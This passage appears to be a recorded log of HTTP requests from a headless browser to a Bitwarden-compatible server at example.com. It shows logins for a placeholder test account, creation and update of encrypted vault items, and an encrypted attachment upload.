eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA2ODYsImV4cCI6MTc5NDI4Nzg4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlZmE0ODkwZC1mZTRmLTQ3ZDItOGM2MS02NGIzZGIzY2M3NTIiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.aicYeYbu5CL2WLAr6Ws9A8ZeiP-_l0q44LIWHRw2pramR20ZJ6lFCz88PTRzgnMwwlHYpDoqX4GZXIMWJ-TCG8yoasgxqxFqUdV73oSkspnhrEtJ7tk4Lelo_RGEkY2P86SZPrIzWAJNmvNA57bHpfDL34tIjNDDOPQGaRPZE3CKOdnmqqWlfFkJx3F0lNnOdwiNqM5_cVQZj_X2r4HXVLtRhWoUcqGb8uRmYPT0M3qNnNAPwkXUnPDZrxtfAeOt_dLQYMsesiZag6k9M3PbET7XnuJR9ud_Y-hbh9gETqzYkC7XxMGjrnrBdme-zRwlDRgRlWMpodiS7jQjRRAYLg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"name\":\"2.z5hs4tbC5CX2JBkD4VcwuA==|rJnoBTK9rfs5WqBNdDPGcJ6/dfoMSXMgyJvS5jJjkWY=|+RhYjXLVpbQQQUEkgVPp0i419U7H+5rw25NylSsTbrI=\",\"notes\":\"2.EKbq3eMUSRn0Hsf4X7Aj7w==|L4MMjwZa2sB4USlig5HROru+xF7qOQPML/bxjBSVV6s8CwZUkI2KfJLcygLM4Mz+uN7zpI0JB4I+BqNPyHL8SmQsD4jecP0svveqkH4Ir5ScA4I1ZI9nKKw2ij9zNHfX|Wl/LGj753i+2saPecRRLxRL8nkz44WXsncc6NcP8nZw=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:18:22.538Z\",\"reprompt\":0,\"key\":\"2.aKbSf/p5rI3+ilXtcBB2gg==|iqoCQRDMhuansz7peNgtOF3sYKPa6YnLzm+z/7WLjVy6lrZ8xHivfTDfsS+pkHSquOUHwJpBh+esSAIW2UWJ12dg6opj8PSf3yU3oh0HiP4=|vGbeUzylcM57H7og00yWHED/keOeZtUwX090k0RNWWg=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.29y9Yq9DXD9R6HTL/3jF5w==|SFq02k/cunLh8romxHP+59hTTgjWQeEE/0euvd6QuLxo8+oN0/bmgEeU6C6NuU2A|AjQXTsxluYaSrXQ4QxZY+/VYX3zSZw3k+1yblKyVzFs=\",\"uriChecksum\":\"2.e+9sG5Fau4oikkl3eT/5xA==|AdH0iPec9b4Ft+W6CEFD0zS8U/pWaFlUudegjimQn5BnNgJMnj2vJywYS+VQLRLM|L03v/H5JWAZ2ZXa2jXVFn/zoY7kF9GRZZLZB6Kw2qnI=\"}],\"username\":\"2.V469GMxqUBkah+PZDSKMZg==|EiqgA/BSWJAL+NlJKOaqjw==|5ZKCAwotKT6RB8lOLZx8FG6srihhSlWb5WInbzSszRY=\",\"password\":\"2.oretlvGP2nOYTVKfo7pTcw==|SCN4uUhv0Y2ENFcHouLqCOKNMrLDeCL6/N1LQJD24rg=|VdxDpYtI6qugmrKonYxW7nE2SeLN+5GssYkkb4HFV2M=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
{"method": "GET", "target": "/icons/example.com/icon.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=68bf4d9c-780c-4192-bd8a-41a272c14413&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=e934ef7b-6b36-4421-ac6c-2bce46150042&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers", "headers": ["Host: example.com", "Content-Length: 856", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA3NTEsImV4cCI6MTc5NDI4Nzk1MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJlOTM0ZWY3Yi02YjM2LTQ0MjEtYWM2Yy0yYmNlNDYxNTAwNDIiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.PX-v7IJXm_Y212uDWQ0gBOj1yVAqhDPEZxo5SOYW5OffP1wR0tdAKTsavvrnv0NLTWfEwBPdwSmKuGIAv-HtuJutDpwm4f4GtneXms-f2Ax1UEAhc3bqhHHue9teXSv7YC8p1Ik50qgQ-MtyOoXE1OStlfv7IF33pawcZOdgMPoKTnW5f_90ydWDNuvhSrBj__UdHyNyPDBdsVhi4b9z9gsJ7J893itwXklKwjeaJbO8pErds-GJsiqfyayv0QBUl4MiQfuUyuTiwLwFY9_zQzzU7rC7t2r0LuLx3c0HVInRPmOAOieq5dWZzf5ApM9pQh5dRNPQIUJRqDeJqWbSrQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":2,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"name\":\"2.b7CFv95ZokmibuvTdEUD9Q==|frGi3t31pXlY6YbH85tUAy0SqRlks5WKZ821B84RaCM=|gCtMzl53++qtpO7m3Z3igKoKCHO1a2zO/SUny62+Yhs=\",\"notes\":\"2.Syz1oYYLl9iswsrX10u0eg==|38mV7HKkWd949xfGD7GOm3A+pLBMoLHrJt6tPU+GrNZy47FfJNPuNw0jTAy9ZvqIPuh+tfvRQxqgW8MDtHXJbhpNTwkmztIJ1LUdQDU+VbRWjiRrhFq2VC5YkdIBa9LrwQ6lhcjx/PsDTIUhZ0Q2sHF9gCJQ66HBjr/vAQtbvRk=|mP2uyOzS8lTIep1XH5lAT6IZy1N5Pks1Cnbr9XqcgGM=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:19:27.800Z\",\"reprompt\":0,\"key\":\"2.Gtpoy7RVxVNnzrkXqOzkjg==|ZEfdTXItnem5D7Eh0PnTPgwZIPjjNTv26W+fU3SYNN5mDAIlKIDP9Gt7SUmqI/R1xLyUrH5Vh/tg2BxN4Z6XivC6yCfe+guvJv2UTk0KgXA=|fTag4snzPkDrGNJ6q7lbz/HehqyuKLoG01PrAxNd6Pw=\",\"secureNote\":{\"response\":null,\"type\":0},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=96fc2d4e-83f6-4c41-bfd5-c8ec2f555bd4&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=504a6883-9ade-4f08-9a5d-6c17eeb477a0&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=5a99d594-ab10-4499-aa3c-b9317d4e5475&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "PUT", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d", "headers": ["Host: example.com", "Content-Length: 1486", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4NTksImV4cCI6MTc5NDI4ODA1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1YTk5ZDU5NC1hYjEwLTQ0OTktYWEzYy1iOTMxN2Q0ZTU0NzUiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.rqH6irHL0Vlmd8SZoiSrx5YarTel81c5qR7HTxJvdNP3ebAv_xiyeGpu54FNheacdXjQ8RpkenVd8l52Kp_NSHObcJ5IIaTKCM1OyqYBiG83K6gQOAlGH2DcsXeufXczQbX_-ArXfq02aqfAtQ5aqczcuIDRoK-QApK1_oo2SnRuPBHww-71f3VXMcGWLF0cSXmj0JbJptvvsaGDRv1D5sKnRZAMSO1rU2LTMhvPlwYrw7GWCWMw9WziPdZoyBO24LGKGW8GibQKg31i0cwA38dUTvaQB0xl0BkZyXv5Px1MV0D0i-I9ubIQN3xXucnmosyFnhokxHjki4_bPOS72Q", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.9X5nSBWyYr6ag9ZkOBfEfg==|wrx0sT53uIr5Imfw1lb6Ob8QSIeIbPuPw/kHTF4NNu6En49/4u1EIhqjc7YD2VGC|r9Ne3ESFr5MTF8+oTRzAEl3Fp7peG9SDcfP9jvuwfIo=\",\"notes\":\"2.mevOP4NbCC+/rFva1e2cEA==|hx8GPMywv9f2kiE5eLCP+o978G/nniIm0KUQMyLdui2T4L4oHKjBOZ/bD5rq+ElcECpyjtcMYocyh1v5pCkZNxyxghbVmUUNzFUSswrUeKyYazRAkneYCuPLK0dBHeZA|5KA7ps39+mzQKsi/o2Gq/cUGdWC9HPQuJlD0CrupHvs=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:18:24.717Z\",\"reprompt\":0,\"key\":\"2.jHRM8r/PSUm/0GCmqPEQfQ==|ci46XxK/yHARbWEVmK5FaWPCrm4+wR+hk7m5InOvEEU9kXo7XC9baVDepWvAWG+iIpki0O1eZlo9RZheVFw5xEY87WJsgP9I33gFCWq/H2w=|mFBRXlb8PzphbeL9J5Zm8maVjF9MqM4luVjMVLehq60=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.TU3eEpiNeHB1wrISERB2PA==|4nHgMJ3od1dIXZvQVsDUHtT3iCIIUwmk7vKU+IBWomPxeKhim8M0Ol/RGym7PkEc|qTcQxkDM4+PH1NEKGOWMB7xxuUnosiabVgcHq8GYusc=\",\"uriChecksum\":\"2.K5cnRfwBqhCBF8B05yMgqw==|s5GzXKhdH26/yPy4UMkjl7w3Fkn8RWcPHYw6wBLC1qWMP8T9/OpTtQQ04+Bovxyc|7FBVRSxu7vsDmhxXISBoVjX6ZkxrhHSYrCtGqURNvP0=\"}],\"username\":\"2./IVE1G1CHvEXfiut/Ooq6Q==|NOEehVWQVC7Bs70T6uYHRQ==|Bewxw1S6naMXkTm37JkdNdIx7VSPfYR8w7tYPakPkbE=\",\"password\":\"2.Upbmr0/OHqQ6dVeOK/ATUw==|pMbpTa2plFb3JyOWd+9IfVfMz4tql3z5um0iZEmEIA8=|ZoZ7QAgf268psKxY0xUE7VaniInDvU2of4k4Qq5QTKQ=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[],\"attachments\":{},\"attachments2\":{}}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=527c89c1-a922-4e00-bf66-96067c0b616a&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d/attachment/v2", "headers": ["Host: example.com", "Content-Length: 407", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4OTEsImV4cCI6MTc5NDI4ODA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1MjdjODljMS1hOTIyLTRlMDAtYmY2Ni05NjA2N2MwYjYxNmEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Tj1JgWJJ2jTkRAfUfluTX2ya1IolqIPOQhnaDS4iFOtRBV4Zu2q7X0Fn4_2EzkTs6LtD5aYJyRmGOaU1cswQ3YSsy5Uh901js4OYxTjkfMGHfOcVWDfF57K_EjVJnv42lxiwrvH5Hl0bC4we2P_vZAkaEY_awgOFVEhSgfjWsi-TpaXugS49AbE3vWy2BU1WDbyqp0WdD9hMyWrfs-gJUM9idCTphwi2LNnYXsTmyhnVR-MuDl-yoOrwRSbPYd_nzl3UQvGK2T6xD97769UH0KF4t4bbJDRkXQDzkQBqWPHCh8HsWgtT9WVGwfjIbpHJxJVNF4NpyR7CdweXoFP7DA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"key\":\"2.6+/t1cXLQjL2XWtxlMFWUQ==|S1bEjNovqaa9eXcoDAv8diMkX+csiOa22ZWN1W+qFWZ9Nii2zmgCYYvFkw5aeL0+d7w0f8bZSnEEzkWZFytrsvIMS5qRkbDcvKhFjmoAUY8=|3oJjBLKNdJAeIsrniH0Y2RRmQZQL5wvmQL7+tUZLgRM=\",\"fileName\":\"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrRS1uUQGA2Xmt6h8DaAIOUH68Yll8=|XLsfNVb3VSNdqrUkPtJDMPxLAevzg4j4RRoSFxeDcbE=\",\"fileSize\":129,\"adminRequest\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:21:20.572Z\"}"}
{"method": "POST", "target": "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d/attachment/ec4c8ed74f6d3c56443a", "headers": ["Host: example.com", "Content-Length: 476", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA4OTEsImV4cCI6MTc5NDI4ODA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI1MjdjODljMS1hOTIyLTRlMDAtYmY2Ni05NjA2N2MwYjYxNmEiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Tj1JgWJJ2jTkRAfUfluTX2ya1IolqIPOQhnaDS4iFOtRBV4Zu2q7X0Fn4_2EzkTs6LtD5aYJyRmGOaU1cswQ3YSsy5Uh901js4OYxTjkfMGHfOcVWDfF57K_EjVJnv42lxiwrvH5Hl0bC4we2P_vZAkaEY_awgOFVEhSgfjWsi-TpaXugS49AbE3vWy2BU1WDbyqp0WdD9hMyWrfs-gJUM9idCTphwi2LNnYXsTmyhnVR-MuDl-yoOrwRSbPYd_nzl3UQvGK2T6xD97769UH0KF4t4bbJDRkXQDzkQBqWPHCh8HsWgtT9WVGwfjIbpHJxJVNF4NpyR7CdweXoFP7DA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfDyB7dEAAtvhyCLV", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "------WebKitFormBoundaryfDyB7dEAAtvhyCLV\r\nContent-Disposition: form-data; name=\"data\"; filename=\"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJrRS1uUQGA2Xmt6h8DaAIOUH68Yll8=|XLsfNVb3VSNdqrUkPtJDMPxLAevzg4j4RRoSFxeDcbE=\"\r\nContent-Type: application/octet-stream\r\n\r\nAgi25DaJcG/TpZQDNvwCVsKMfQZe0szpwbq2K2Yvdw+ILI0UzO1tkuw6XGF3oPW2TiI+O9Pq8s9+ffckxzs6v//6Blz+yRFAGffH1BCJuS1/tfUaq4+2BYJUm3+wi5ZLuaHPZ6AUpEOpgmNmziZ6gLPUzE9arx/rfsfRlCRMlMh5\r\n------WebKitFormBoundaryfDyB7dEAAtvhyCLV--\r\n"}
